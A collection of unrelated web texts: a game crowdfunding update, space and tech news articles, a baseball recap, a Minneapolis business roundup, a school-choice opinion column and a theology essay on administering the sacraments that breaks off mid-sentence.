-Welcome back to our Weekly Backers Exclusive Mini-game, Pick-a-Magnus! It was a one sided vote last week so we're going to make it a little harder this time around. It will be no fun if most of the votes go to the same Magnus and we're pretty sure it's going to be more challenging today. As usual, here are the rules of the mini-game:  Pick-a-Magnus Rules:  1) We will be posting a set of Magnus concept labelled from A - J.  2) You will go through every single one of them and select your favorite concept.  3) Leave a comment about your pick and explain why.  4) The Magnus with the most votes will be added to Re:Legend in-game.  Note: you can only select ONE, so pick carefully.  The rules are still the same as the previous week and these are also the first stage baby Magnus. They will be evolving into powerful Magnus in the future and you will be guiding their fate today. YOU will make the choice and decide if they will live or remain as abandoned sketches for eternity. Now let us begin!  Week 2 Pick-a-Magnus Choices:  As usual, the winning Magnus will be announced tomorrow and have fun picking your favorite Magnus!  Note: We're REALLY close to PS4 stretch goal! Let's do this!
-Artist's illustration of an asteroid that has been turned into a giant mechanical spacecraft, which could fly itself to a mining outpost.  A few decades from now, asteroids may be flying themselves to mining outposts in space, nobly sacrificing their abundant resources to help open the final frontier to humanity.  That's the vision of California-based company Made In Space, which was recently awarded NASA funding to investigate how to turn asteroids into giant, autonomous spacecraft.  The project, known as RAMA (Reconstituting Asteroids into Mechanical Automata), is part of Made In Space's long-term plan to enable space colonization by helping make off-Earth manufacturing efficient and economically viable. [How Asteroid Mining Could Work (Infographic)]  "Today, we have the ability to bring resources from Earth," Made In Space co-founder and chief technology officer Jason Dunn told Space.com. "But when we get to a tipping point where we need the resources in space, then the question becomes, 'Where do they come from and how do we get them, and how do we deliver them to the location that we need?' This is a way to do it."  Diagram of an asteroid that has been converted into a mechanical spacecraft by a robotic "Seed Craft." (Image: © Zoe Brinkley  The plan  Made In Space's idea involves sending an advanced, robotic "Seed Craft" out to rendezvous with a succession of near-Earth asteroids in space.  The Seed Craft would harvest material from the space rocks, then use this feedstock to construct propulsion, navigation, energy-storage and other key systems onsite with the aid of 3D printing and other technologies. (Made In Space has considerable 3D-printing expertise; the company built the two 3D printers that were installed aboard the International Space Station in the past year and a half.)  Thus transformed into autonomous spacecraft, the asteroids could be programmed to fly to a mining station in Earth-moon space, or anywhere else they were needed. This approach would be much more efficient than launching a new capture probe (or probes) to every single space rock targeted for resource exploitation, Made In Space representatives said.  The converted asteroids wouldn't resemble the traditional idea of spacecraft, with rocket engines and complex electronic circuitry. Rather, everything would be mechanical and relatively primitive.  For example, the computer would be analog, akin, perhaps, to the Antikythera mechanism invented by the ancient Greeks to chart the motion of heavenly bodies, Dunn said. And the propulsion system might be some sort of catapult that launches boulders or other material off the asteroid in a controlled way, thereby pushing the space rock in the opposite direction (as described by Newton's Third Law of Motion), he added.  "At the end of the day, the thing that we want the asteroid to be is technology that has existed for a long time. The question is, 'Can we convert an asteroid into that technology at some point in the future?'" Dunn said. "We think the answer is yes."  Project RAMA is not starting from scratch. Autonomous 3D printers that use mechanically driven systems already exist, Dunn noted, as do mechanical computers made of 3D-printed parts.  Still, making it happen will require significant advances in a number of areas, including in-situ resource utilization (ISRU) — the art of living off the land. Made In Space is counting on NASA to push ISRU technology forward, Dunn said. (Advanced ISRU tech will be vital for supporting astronauts on Mars and other off-Earth outposts, NASA officials have said.) [What Technology Will Humans Need to Explore Mars? (Video)]  Early days yet  Made In Space's larger vision won't be realized for a while, because RAMA is still in the very early stages.  In April, the project received a Phase 1 grant from the NASA Innovative Advanced Concepts (NIAC) program, which aims to encourage the development of potentially revolutionary space-exploration technologies.  Phase 1 NIAC awardees get $100,000 for nine months' worth of initial feasibility studies. (Recipients can then apply for a Phase 2 NIAC award, which is worth about $500,000 and funds two years of further concept development.)  Any discussion of Project RAMA timelines is therefore incredibly speculative, Dunn stressed. Still, he estimated that the effort might require 20 years or so of technology development and other work. If that's the case, the first Seed Craft may get off the ground in the late 2030s — perhaps just as asteroid-mining and off-Earth manufacturing are coming into their own.  "The anticipation is that the RAMA architecture is a long time line, and when it becomes capable is about the same time that people really need the resources," Dunn said.  Project RAMA could also have applications here on Earth, he added, saying that machines similar to Seed Craft could do a variety of jobs around the planet.  "You could build infrastructure in remote locations somewhat autonomously, and convert resources into useful devices and mechanical machines," Dunn said. "This actually could solve some pretty big problems on Earth, from housing to construction of things that make people's lives better."  You can read more about Project RAMA at Made In Space's NIAC page and in a piece that Dunn wrote for Medium.com.  Follow Mike Wall on Twitter @michaeldwall and Google+. Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.
-Photo  Technology doesn’t win political campaigns, but it certainly is a weapon — a force multiplier, in military terms.  Both sides in the presidential contest mined click-stream data as never before to target messages to potential voters. But a real edge for the Obama campaign was in its use of online and mobile technology to support its much-praised ground game, finding potential supporters and urging them to vote, either in person or by phone, according to two senior members of the Obama technology team, Michael Slaby, chief integration and innovation officer for the Obama campaign, and Harper Reed, chief technology officer for the Obama campaign.  A program called “Dashboard,” for example, allowed volunteers to join a local field team and get assignments remotely. The Web application — viewable on smartphones or tablets — showed the location of field workers, neighborhoods to be canvassed, and blocks where help was needed. “It allowed people to join a neighborhood team without ever going to a central office,” said Mr. Slaby.  Another ground-game program was a tool for telephone canvassing from people’s homes instead of having to travel to a campaign office and work from a telephone bank. The call tool was a Web program that let people sign up to make calls and receive a list of phone numbers, names and a script to use, noted Mr. Reed.  Often, the profiles of volunteer callers and the lists they received were matched. So the callers were people with similar life experiences to those being called, and thus more likely to be persuasive. Here is a YouTube video of a 91-year-old World War II veteran, who joined the Obama phone corps.  In 2008, there were some remote callers in the Obama campaign. But this year, there were ten times as many, Mr. Slaby said.  The sheer scale of the online outreach and data collection dwarfed the effort four years ago. For example, the Barack Obama Facebook site had 33 million “likes,” compared with 2 million for the previous campaign. A Facebook like, Mr. Slaby noted, is the “just the first rung on a ladder of engagement” but it is a starting point.  Another truly important change was in the technology itself. “Cloud computing barely existed in 2008,” Mr. Slaby said.  This time, the Obama campaign’s data center was mainly Amazon Web Services, the leading supplier of cloud services. The campaign’s engineers built about 200 different programs that ran on the Amazon service including Dashboard, the remote calling tool, the campaign Web site, donation processing and data analytics applications.  Using mainly open-source software and the Amazon service, the Obama campaign could inexpensively write and tailor its own programs instead of using off-the-shelf commercial software.  “It let us attack and engineer our own approach to problems, and build solutions for an environment that moves so rapidly you can’t plan,” Mr. Slaby said. “It made a huge difference this time.”
-AMD has announced the roadmap for a chunk of its business that's critical to its effort to "transform" the company from its dependence on PCs and x86 servers: the embedded market.  Perhaps one indication of AMD's aggressiveness can be deduced from the code names of its next four embedded parts – they're all named after birds of prey: "Adelaar", "Steppe Eagle", "Bald Eagle", and "Hierofalcon".  For Reg readers – IT types as you are – it's perhaps that fourth ornithological exemplar that may be of most interest: it will be the embedded version of the 64-bit, ARM-based "Seattle" Operton server chip that was unveiled this June.  "Essentially Hierofalcon and Seattle – Seattle is the server product and Hierofalcon is the embedded product – share a lot of lineage," Arun Iyengar, VP and general manager of AMD's Embedded Solutions group, said at an AMD event on Monday. "But Hierofalcon is targeted towards the other elements of a data centre, which are the communications, networking, and storage sides."  AMD's ARM-based chips won't just be used in dense servers (click to enlarge)  While Seattle will feature AMD's Freedom fabric interconnects, which came to the company by way of its acquisition of SeaMicro in February 2012, Iyengar would not be drawn out on whether or not Hierofalcon would include Freedom. "We're not getting into that level of detail today," he responded to a direct question on that subject.  What he would reveal, however, was that Hierofalcon would come with four or eight ARM Cortex-A57 cores, would include 10-gigabit Ethernet and third-generation PCIe, would be baked in a 28-nanometre process, and would have a thermal design point (TDP) of 15 to 30 watts.  Embedded parts have a number of differences from their non-embedded counterparts, not the least of which is how long they will be supported by their manufacturers. Longevity is a big deal to embedded-systems manufacturers, and AMD will commit to seven-year lifecycles for not only Hierofalcon, but also its three birdy brothers.  Next year will be a busy one for AMD as it works to expand into new markets (click to enlarge)  Among the four parts announced on Monday, Hierofalcon is the only all-new line for AMD. Adelaar, a discrete GPU, will be a follow-on to AMD's Radeon E6460/E6760 parts, will be the first embedded GPU to be built around AMD's "Graphics Core Next" architecture unveiled at the company's Fusion Summit in June 2011, and will double the 1GB of GSDDR5 memory in the E6460/E6760 to 2GB.  The low-power Steppe Eagle is a follow-on to the G-Series SoC line that AMD rolled out this April and updated in July with a lower-power part, the GX-210JA. This raptor, like the G-Series, will have two or four AMD "Jaguar" cores, but they will be "enhanced," Iyengar said, and the TDP of the lowest-power part in this line will drop to 5 watts from the 6 watts of the GX-210JA.  The 28nm Bald Eagle APU/CPU will be the highest performing part in the quartet, and will be the successor to AMD's 32nm R-Series embedded chips. Baldy will update its two or four compute cores from the E-Series' "Piledriver" to the newer "Steamroller", and its GPU will be upgraded from a Radeon HD 7000 Series to HD 9000.  Iyengar – and, for that matter, CEO Rory Read and the entire AMD braintrust – is putting a lot of stock in the company's aggressive push into the embedded market. The company has publicly stated that just a few years from now, around 50 per cent of its revenue will be from markets other than PCs and traditional servers.  And their embedded division headman appears confident that such a goal is realistic, considering the new and expanding markets from which those revenues will come.  "The specific point that we've made in terms of 50 per cent of our revenues coming from non-PC type [processors]," Iyengar said, "is it does include things such as the dense server – that's a new application, that's part of the new 50 per cent. It includes embedded, and it also includes new form factors within the client space – that's part of the new 50 per cent."  Looked at that way – and considering that "embedded" includes everything from industrial to military to medical to digital signage to slot machines to networking to communications to thin clients and more – AMD may again emerge as a potent competitor to Intel in the low-power marketplace.  But AMD is not out of the woods yet – execution, of course, will be the deciding factor. ®  Bootnote  Just how important is ARM to AMD's future? The number of chips – not cores, but chips – in which ARM designs appeared during 2012 gives an idea of that company's reach. ARM VP of embedded marketing Charlene Marini, who was also at the Monday event, told The Reg that 8.7 billion ARM-based chips were shipped last year. Of those, 4.1 billion were for embedded systems, the remainder being for mobile.
-The Washington Nationals struggled during their final game in the opening season series against the New York Mets. Behind a dominant six inning performance from New York pitcher Matt Harvey, the Mets took two of the first three games of the season.  Nationals’ pitcher Stephen Strasburg did not have a strong outing in the series finale Thursday afternoon, giving up six runs on nine hits in five innings of work. Three of the six runs were earned; Strasburg also struck out five and walked three batters.  While Washington certainly would like to jump out to a booming 3-0 start, sometimes one has to be realistic. With outfielders Jayson Werth and Denard Span on the DL beside third-baseman Anthony Rendon, Washington faithful should be patient in the early-goings.  Those early-goings for Washington could be rocky, but the pay-off come summertime will be worth the wait. Rendon has begun lateral movement workouts in his rehab stint away from the team and plans to begin groundball work next week.  Werth began his rehab assignment in high-A with the Potomac Nationals following his shoulder surgery in the offseason. He played seven innings with Potomac and, while unlikely, is eligible to come off the disabled list Saturday.  Core surgery in the beginning of March left Span heading back to Viera, Fla., ready for simulated action at Nats camp. The simulation length will increase from three to five to seven innings as Span progresses. As it stands the center fielder is ahead of schedule in his rehab and the Nationals are impressed at his progress.  As Washington takes aim at the Philadelphia Phillies, they can look to build on the positives they’ve seen thus far. Right fielder Bryce Harper has been getting it done at the plate and in the field through three games. On two separate occasions during the rain-delayed game Wednesday evening he made his mark… tracking down a deep fly ball in the corner, and then cutting off a line drive in the gap before it got to the warning track to hold Mets third baseman David Wright to a single.  Washington heads to Philadelphia to face the Phillies Friday in a three game series. They will see Philadelphia seven times in the next 10 games.
-Construction is underway on the $6.7 million renovation and expansion of the Eastside Food Co-op at 25th and Central avenues, continuing the modest comeback of the once-languishing main commercial artery of northeast Minneapolis.  The 5,200 member-owners of the 12-year-old co-op raised more than $1 million in equity. And the growing business recently closed on a $4.6 million loan from Self-Help Federal Credit Union in Durham, N.C.  This is a job-creating deal in a neighborhood where an estimated quarter of the households live at or near the poverty level.  “Central Avenue has come far over the last 10 years,” said longtime Eastside General Manager Amy Fields. “We’re one of the smaller, but a growing co-op. Our expansion means we can greatly increase our impact … both for our members and for the community.”  Fields said local bankers were sympathetic but couldn’t underwrite the deal because of its high real estate loan-to-value ratio in an area where property values have been depressed by vacant and underutilized buildings.  Self-Help Federal, founded in 1980, is a U.S. Treasury-designated Community Development Financial Institution that, in addition to loans, can use federal tax credits and other tools outside of standard underwriting guidelines in pursuit of revitalizing once-blighted areas.  New CEO Amanda LaGrange says she likes Tech Dump’s mission.  The first step in a complicated deal for Eastside was to buy a vacant building next door for $425,000, plus another $135,000-plus for demolition and pollution remediation. Eastside is renovating its 1954 structure, once a Country Club grocery store, into an attractive, energy-smart building and expanding from 12,200 square feet to 17,700 square feet. The 78-employee business also will add 25 jobs at $12.65 or more an hour.  The Eastside Co-op block, near the critical intersection of Lowry and Central avenues, has undergone a resurrection. More than a decade ago the immigrant Wadi family started buying dilapidated commercial storefronts and turned them into Holy Land enterprises: restaurant, food service, bakeries and even Minnesota’s first hummus factory in what was Sully’s Bar. More than 150 jobs were created.  This is just the latest expansion by a Twin Cities co-op. It follows the expansion to a second store this year by the larger Seward Co-op. Mississippi Market just opened a third store in St. Paul. The co-ops, supported by loyal neighbors and owner-members and boasting high sales per square foot, are growing amid the struggles in a no-growth industry among big-box food peddlers such as Cub and Target.  Former General Mills analyst named Tech Dump CEO  Amanda LaGrange, who started as a volunteer board member in 2010, is the new CEO of fast-growing Tech Dump, the two-location electronics recycler that also employs folks with criminal backgrounds or other barriers to employment.  LaGrange, 30, an accountant, was working as a financial analyst at General Mills when she left in 2013 to become Tech Dump’s marketing director. She joined founder Tom McCullough, a successful Internet retailer who started Tech Dump as a “social enterprise,” focused on reusing or recycling valuable and sometimes-toxic electronic components out of the waste stream.  “I love the idea of using business as an opportunity to solve big challenges like poverty and injustice with a business model.  “I chose to work for General Mills given their great reputation for giving back to the community,” LaGrange said last week. “I also knew that before I could have an impact at a social enterprise, I needed to build a firm business foundation.  “In 2012, I started volunteering about 10 hours a week with Tech Dump, focusing specifically on partnerships and building the Tech Dump name. Over the past two years, in addition to growing our business, I also became more involved in the general business management of our organization. We are accomplishing the important work of responsibly recycling electronics while also providing vital training for adults facing barriers to employment. I love using business as an opportunity to solve big [environmental and employment] challenges.”  Tech Dump, which employs 43, this year will process 5.5 million pounds of electronics or about 40 percent more than 2014.  It recently received the industry’s “Responsible Recycling” or “R2” designation through an independent three-day audit to verify that it meets rigorous environmental, data security and worker-safety standards.  Tom Wood Automotive finishes big expansion at Richfield facility  Richfield Bloomington Honda has replaced its old store with a new, 165,000-square-foot facility.  This two-year project included demolition of the old Honda dealership, as well as the adjacent Richfield Bloomington Mitsubishi dealership on W. 77th Street, and construction of two new dealerships under the same owner, Tom Wood Automotive.  The new construction cost was nearly $30 million, according to permits filed with the city of Richfield.  “In order to meet the needs of our growing client base, we built a larger, state-of-the-art, energy-efficient, updated facility,” said General Manager Tim Carter of Richfield Bloomington Mitsubishi.  The new, three-story Honda facility is growing from 97 employees to an estimated 180 by the end of this year.  In addition to a sparkling building, new energy-efficient features include a specialized boiler that burns waste oil, a carwash that will recycle and reuse most of its water, LED light fixtures inside and outside and “the only metro dealership with sidewalk frontage creating that small town window-shopping experience.” This is not your father’s Honda dealership.  Little will reboot brand for Ryan Companies  Little, the Minneapolis branding agency, has been hired by Ryan Companies to update and refresh the image of the 75-year-old Minneapolis-based construction and development firm. Little’s assignment is to develop a new brand strategy for Ryan, as well as an identity. Rebranding plans include a new website and interactive sales tools. This is a significant win for Little. Ryan a national developer, builder and real estate manager, is developing much of the Downtown East office and residential complex, and also is behind facilities such as CHS Field in St. Paul and Shutterfly’s new Shakopee facility.  Earlier this summer Little was honored by the trade journal Ad Age as its Silver Midwest Small Agency of the Year.  Associated Bank names new Minnesota leader  Angela O’Neill, a 10-year Associated Bank veteran, has been promoted to commercial banking market leader in Minnesota for Wisconsin-based bank. O’Neill, who will split time between offices in Minneapolis and St. Paul, most recently was the corporate banking team leader in St. Paul and before that was a commercial relationship manager in St. Paul.  Before joining Associated Bank, she was with U.S. Bank.
-There's going to be a temptation to want to publicly mock those on the left who have responded to the confirmation of Betsy DeVos as secretary of education by suggesting they could pull their kids out of the public school system as a form of boycott.  There have been some social media responses to that effect, and of course media outlets are jumping on them, aware of the sort of hypocrisy baked in. To respond to DeVos' support for school choice by engaging in school choice seems a bit hilarious to those on the other side. DeVos is even an avid supporter of home schooling! NBC notes a quote from DeVos:  "We've seen more and more people opt for homeschooling, including in urban areas. What you're seeing is parents who are fed up with their lack of power to do anything about where their kids are assigned to go to school. To the extent that homeschooling puts parents back in charge of their kids' education, more power to them." DeVos' emphasis on school choice is a natural fit for the homeschool movement, whose members span the political spectrum but are largely conservative Christians who resist government oversight. That group has helped fuel remarkable growth in recent years, carrying the movement from the fringe and closer to the mainstream. An an estimated 1.8 [m]illion children were homeschooled in 2012, up from 850,000 three years earlier, according to an Education Department survey published last June.  The story does note at the end that it wasn't Christian conservatives who started the homeschool movement in the United States but folks who thought the tightly regimented and bureaucratic system wasn't helpful for kids' learning. If people on the left respond by pulling out of the public schools and homeschooling instead, they're returning the program to its roots.  Resist the desire to mock these people. This is what school choice supporters have been arguing for all along. Parents shouldn't have to submit to whatever DeVos thinks counts as the proper education for their children. The public education establishment has attempted to paint the school choice movement as a mechanism for conservatives (particularly religious conservatives and wealthy conservatives) to escape participation in public schools. While an initial response could be "So? Their kids aren't your property," it's also very important to point out it's not true. It's not the DeVoses of the world struggling as hard as they can to get their kids out of public schools and into charters. The DeVoses of the world can just write a check and educate their kids wherever they want.  It's those randoms on Twitter who are intended to be the beneficiaries of charter programs and homeschooling. School choice options are wildly popular with parents, something mostly ignored by DeVos' opponents, given that they were more interested in carrying water for education unions. It's akin to the local politicians who protect the taxi cartels from ride-sharing services at the expense of the actual customers, who end up having fewer choices, paying more, and getting treated poorly as a result.  In the event that DeVos attempts to push through a particular ideology within the education system (I doubt this will happen, but you never know), parents should feel free to use the mechanism DeVos herself supports and reject her and seek education elsewhere. There's no valid reason for the Department of Education to exist other than to advance and expand bureaucratic rule of over our lives.  Meanwhile, some union protester in Washington, D.C., physically blocked DeVos from entering a public school today, an act so stupid that even the president of the American Federation of Teachers rejected it. That behavior certainly is not going to make public schools any better.
-An inquiry into administering the sacraments by the ordained Elder of a local church.  It is my desire in this short paper to demonstrate that only an ordained minister of the Gospel has the divine right and prerogative of administering the sacraments. Only an Elder is able and lawfully authorized to exercise the duties of an Elder. These Elders are called and ordained of a particular church. This all may seem obvious. Yet, it has been my experience, that even among good men and women of the faith in the modern church, this may be quite new. I will traverse both historical orthodoxy as well as Scriptural foundations in order to prove this one simple point.  We turn out attention to the Bible. In Ephesians 4:11-13 it states, “And He Himself gave some to be apostles, some prophets, some evangelists, and some pastors and teachers, for the equipping of the saints for the work of ministry, for the edifying of the body of Christ, till we all come to the unity of the faith and of the knowledge of the Son of God, to a perfect man, to the measure of the stature of the fullness of Christ.” Christ has given gifts according to His own counsel to His church. This should be evident and a very simple point to first consider. It is not to an organization, or a group of people simply calling themselves Christian, but to the visible church that these different offices have been given. It is not my intention to point out the historical intricacies of the meaning of the word “church,” but some points are important. The Church is not simply the invisible church, the elect of all ages, “the called out ones.” And churches are not formed the moment two or three Christians sit down together to talk about Christ. Those who appeal to the “two or three gathered in my name” passage in Matthew 18 wrest the text from its context concerning the “pragmaton” or “law” aspects (where we get pragmatic from). When Christ says “anything in my name” the overtones there in the Greek use of the word concern matters of the law, which fits nicely in a passage about church discipline. When two or three are gathered at church for disciplinary purposes, the apostles of the early church, or the elders of any church, have the divine right of authority to bind and loose, to forbid or allow entrance into the church by means of discipline. This you may find on your own in personal study to a greater length. My point is that the church here is the fixed expression of the church in the world, the local church or meeting house of a given body, not simply the basic tenor of “those called out”. There is an immense difference between simply being a Christian, called out of the world by God, and being a Christian who is a member of the church, a visible expression of the invisible church. Obviously, this has huge implications concerning the manner in which a community of believers covenant together in both doctrine, and practicum. A good summation of these concepts is found in the confession, “I. The catholic or universal church, which is invisible, consists of the whole number of the elect, that have been, are, or shall be gathered into one, under Christ the Head thereof; and is the spouse, the body, the fullness of him that filleth all in all. (Eph. 1:10, 22-23; 5:23, 27, 32; Col. 1:18). II. The visible church, which is also catholic or universal under the gospel (not confined to one nation, as before under the law), consists of all those throughout the world that profess the true religion; (1 Cor. 1:2; 12:12-13; Psa. 2:8; Rev. 7:9; Rom. 15:9-12) and of their children:(1 Cor. 7:14; Acts 2:39; Gen. 17:7-12; Ezek. 16:20-21; Rom. 11:16; see Gal. 3:7, 9, 14; Rom. 4:12, 16, 24) and is the kingdom of the Lord Jesus Christ,( Matt. 13:47; Isa. 9:7; Luke 1:32-33; Acts 2:30-36; Col. 1:13) the house and family of God,( Eph. 2:19; 3:15) out of which there is no ordinary possibility of salvation (Acts 2:47). III. Unto this catholic visible church Christ hath given the ministry, oracles, and ordinances of God, for the gathering and perfecting of the saints, in this life, to the end of the world: and doth, by his own presence and Spirit, according to his promise, make them effectual thereunto. (1 Cor. 12:28; Eph. 4:11-13; Matt. 28:19-20; Isa. 59:12). IV. This catholic church hath been sometimes more, sometimes less visible. (Rom. 11:3-5; Acts 2:41, 47; 9:31; 18:8-10) And particular churches, which are members thereof, are more or less pure, according as the doctrine of the gospel is taught and embraced, ordinances administered, and public worship performed more or less purely in them. (Acts 2:41-42; 1 Cor. 5:6-7; Rev. ch. 2-3). V. The purest churches under heaven are subject both to mixture and error;( 1 Cor. 13:12; Rev. ch. 2-3; Matt. 13:24-30, 47) and some have so degenerated, as to become no churches of Christ, but synagogues of Satan ( Matt. 23:37-39; Rom. 11:18-22). Nevertheless, there shall be always a church on earth, to worship God according to his will.( Matt. 16:18; Psa. 45:16-7; 72:17; Matt. 28:19-20; 1 Cor. 15:51-52; 1 Thess. 4:17). VI. There is no other head of the church but the Lord Jesus Christ. (Col. 1:18; Eph. 1:22) Nor can the pope of Rome, in any sense, be head thereof. (Matt. 23:8-10; 1 Peter 5:2-4) but is that Antichrist, that man of sin, and son of perdition, that exalts himself, in the Church, against Christ and all that is called God.”[1]  Now upon this point that we are dealing with the church as a body of believers Christ’s Spirit applies the work of the cross in gifting men for ministry. The gifts associated here are actually men themselves. (Did you know your pastor was a gift of God?) The Apostle names four kinds of men here: apostles, prophets, evangelists and pastor/teachers. Now, I am aware of the Greek exegetical differences in translating the final kind of men as “pastors” and “teachers”, or “pastor/teacher.” I have no desire to contend that point. I am satisfied that the text in its original intent is speaking of the same person and I believe the Greek bears that out.[2] Even if you disagree, that is fine. That should not change the meaning of the passage and the point which we are coming to. Let us understand at this point that the officers of the church, in all their capacities, are gifts given to the church, and function within the church.  There is a running testimony of Reformed thinkers concerning the nature of the first three offices stated as temporary offices. Apostles, prophets and evangelists have been seen through the writings of the Magisterial Reformers as well as the good Puritans as temporary in nature. In other words, the offices of Apostles, prophets and evangelists are not offices that function today. They were specific offices for specific periods in the birth of the church – extraordinary offices that had accompanying signs and wonders, miracles, which have now ceased. John Calvin says in “treating of Ecclesiastical office-bearers in particular: Some of them, as Apostles, Prophets, and Evangelists, [are] temporary. Others, as Pastors and Teachers, [are] perpetual and indispensable.”[3] Even the Westminster Assembly, one of the most doctrinally sound assemblies to convene in the history of the church, had this to say as whole body or consensus of ministers and theologians: “On the 9th of January, the whole question of ordination was fairly stated by Dr. Temple, chairman of one of the committees, in the following series of interrogatory propositions: — “1. What ordination is? 2. Whether necessarily to be continued? 3. Who to ordain? 4. What persons to be ordained, and how qualified? 5. The manner how?” What did the Assembly say in conclusion to these things? “To these were appended the following answers for the Assembly’s consideration: — “1. Ordination is the solemn setting apart of a person to some public office in the Church. 2. It is necessarily to be continued in the Church. 3. The apostles ordained, evangelists did, preaching presbyters did: because apostles and evangelists are officers extraordinary, and not to continue in the Church; and since, in Scripture, we find ordination in no other hands, we humbly conceive that the preaching presbyters are only to ordain.”[4] John Owen makes this comment, “The officers of the church in general are of two sorts, “bishops and deacons,” Philippians 1:1; and their work is distributed into “prophecy and ministry,” Romans 12: 6,7. The bishops or elders are of two sorts: — 1. Such as have authority to teach and administer the sacraments, which is commonly called the power of order; and also of ruling, which is called a power of jurisdiction, corruptly: and, 2. Some have only power for rule; of which sort there are some in all the churches in the world. Those of the first sort are distinguished into pastors and teachers.”[5] For Owen, the Apostle, Prophet and Evangelist were extraordinary offices, and the pastor/teacher was the ordinary office, or general office. He takes this up to a great extent in his writings, but this may suffice for the point at hand. Hendricksen alludes to this same idea when he says that Timothy and Philip, the two described in Acts as evangelists, though both have other functions, are specifically ordained for a specific function before God.[6] Compare both the function of the evangelist with Timothy and Philip: Timothy served as a traveling apostolic vicar and as an evangelist. Philip served as a deacon and traveling evangelist. The evangelist seems to incur the idea of a traveling missionary. However, as Hendricksen says, “the church today is not able to produce an apostle like Paul nor a prophet like Agabus. It is not in need of a Timothy to serve as an apostolic delegate, nor of a Philip, addressed by an angel and “caught away” by the Spirit. In common with the early church, however, it does have ministers, elders, and deacons.”[7]  Even if there are some who believe that the evangelist is a modern day office, and disagree with the above summary statements about the extraordinary office of an evangelist for purposes of starting the early church, the fact still remains that evangelists are men who are equipped in the church for work outside the church and did not have a license of their own to follow their own whims and wills. We should note that Evangelists are mentioned in Ephesians 4:11, our text, in Acts 21:8 of Philip and 2 Timothy 4:5 of Timothy.[8] For instance, the Anabaptists utilized such passages as Acts 8:38 to prove that anyone could baptize those they met “on the road” by profession of faith. Acts 8:38 states, “And he commanded the chariot to stand still: and they went down both into the water, both Philip and the eunuch; and he baptized him.” However, such proof texting or selective citing should be condemned. For instance, to trace the legacy of Philip we should look through the last couple of chapters in Acts. Philip is to be associated with the Philip of Acts 6:5-6, “And the saying pleased the whole multitude: and they chose Stephen, a man full of faith and of the Holy Ghost, and Philip, and Prochorus, and Nicanor, and Timon, and Parmenas, and Nicolas a proselyte of Antioch: Whom they set before the apostles: and when they had prayed, they laid their hands on them.” Here Philip is seen as one chosen by the church, and had the laying on of hands as a result of the apostle’s confirmation of their ministry. With Philip, then, we have a distinct office fulfilled by this man. The problem with Philip being a “rogue” evangelist, untied to the church is a fallacy. Acts 8:6 states, “And the people with one accord gave heed unto those things which Philip spake, hearing and seeing the miracles which he did.” Miracles were signs, or confirmations, made by God in the presence of the preached word by the Apostolic witness of the message surrounding Jesus Christ.[9] Christ is interested in having authoritative leadership (Matt 18:18–20 ; 28:20 ; Mark 6:7 ; John 20:21–23 ).[10] Philip preaches (Acts 8:5), baptizes (Acts 8:12), did miracles and signs (Acts 8:13), was directed specifically by immediate special revelation by the angel of the Lord (Acts 8:26), and was caught away or translated by God (Acts 8:39-40). He is called one of the seven, an obvious reference to Acts 6, in Acts 21:8, “And the next day we that were of Paul’s company departed, and came unto Caesarea: and we entered into the house of Philip the evangelist, which was one of the seven; and abode with him.” As Hendricksen points out, “Philip preached Christ, Luke writes, to the Samaritans. They were no longer excluded from the Good News (Matthew 10:5), which is God’s universal message to all people.”[11] This is no regular or general laymen and the Anabaptists are in fault for using this passage to condone their unauthorized acts of baptizing without being ordained and sent by the church.  Another passage that is used is John the Baptist. Certainly this aspect of the ministry of God’s revelation to the church is crucial but often misunderstood. John 1:6 says that John the Baptist was “sent from God” to prepare the way of the Lord. The Greek construction here is interesting in that the phrase describes John coming from alongside of God to bear witness to the truth. This does not make John preexistent, but it does make his ministry closely related to the covenant concepts that God administers through the Bible. God is sending a special covenant member to His people to call them, again, back to repentance. He was specially sent of God – a special kind of prophet. John’s baptism is known as the “baptism” of repentance. John’s baptism is frequently omitted in discussions of Christian baptism, but this should not be the case, since John the Baptist is a pivotal figure in the overlap between the old and new covenants. It is important to remember, in this regard, that circumcision is not only a sign of blessing, but also “a sign of Christ’s redemptive judgment with its benedictions and maledictions alike.” If this were true, this would mean that we must expand any discussion of baptism to also include the idea that baptism also is a sign of blessing and of curse. Meredith Kline asks this rhetorical question in light of this, “must we enlarge our theology of baptism so as to see it in a more comprehensive symbol of the eschatological judgment that consummates in the covenant of which baptism is the sign?”[12] The answer to this is “yes.” John is bringing an ultimatum to God’s unfaithful people. The Messiah is coming, and how will the people receive him? Sinfully, they crucify him. The eschatological judgment John preached in the wilderness, and baptizes as a baptism of repentance, speaks to this issue. But is John the rogue “Baptizer” in the wilderness for any or all to imitate? Hardly. Not only does the prophetic office of John negate the laymen for imitating him, but also his peculiar call to repentance as the baptism of ordeal takes shape would quickly disqualify anyone except John the Baptist from fulfilling his role as the last prophet of God. John is like God’s lawyer, sent from the side of God’s judgment seat to bring the lawsuit of God against the unfaithful people before the coming of the Messiah. He is subpoenaing the people of God to repent in light of the coming King who will exact the curses of the covenant if they do not keep covenant. His role is the second most significant role in the Bible in my estimation. No one has the right to copy his Baptism, and John, most of all, knew his role and office as being sent directly by supernatural revelation. John was not paying games here. The axe is not laid at the base of the tree, rather, it is laid at the roots themselves. Each tree that demonstrates their covenant unfaithfulness will be cut down. Who do you know today that would take up a role such as this and mimic it?  It would also be worthy to note that in the administration of baptism some believe this simply to be a “doorway” into the professing kingdom. It is much more than that. The sign of “water” through the prophets of the Old Testament, and in the case of John’s Baptism, as well as the other passages concerning water (Creation and Chaos, Noahic flood, ritual Levitical and Neophyte washings), and into and through the New Testament, all surround an eschatological judgment motif. Baptism is not just recognizing a profession of faith, or recognizing a child’s covenantal status, as if we should simply smile and administer the water. We take pictures of this as if it is simply a celebration without remembering the soberness of the event. This is like when parents decorate their baby’s room with Noah’s ark paraphernalia, two by two smiling animals entering jolly ol’ Noah’s ark, forgetting that the ark was a means to salvation in the midst of eschatological judgment on the wickedness of men. The entire world perished in that cleansing rite. And Peter relates the flood, and Noah’s salvation, as an analogy to baptism. Baptism is the sign of the covenant which carries in it both blessing and curses. It is an eschatological judgment sign that knocks everyone off the fence of indifference who partakes in it or administers it, and sets them and the participants into the context of blessing or curse; one or the other. The minister should see this as exceedingly sobering, as well as those who administer it unlawfully as something to shun.  After looking at the above briefly, what, then, constitutes the manner in which the sacraments, baptism and the Lord’s Supper, may be administered? Who may administer the sacraments in good conscience before the Lord as a representative or ambassador of His gracious provisions? Except for various cultic influences or heretical sects through the history of the church, the answer to this question is more basic than one may imagine. And the conformity, even across denominational lines, is also striking in answering this question.  We should define, briefly, those who have the authority to administer the sacraments 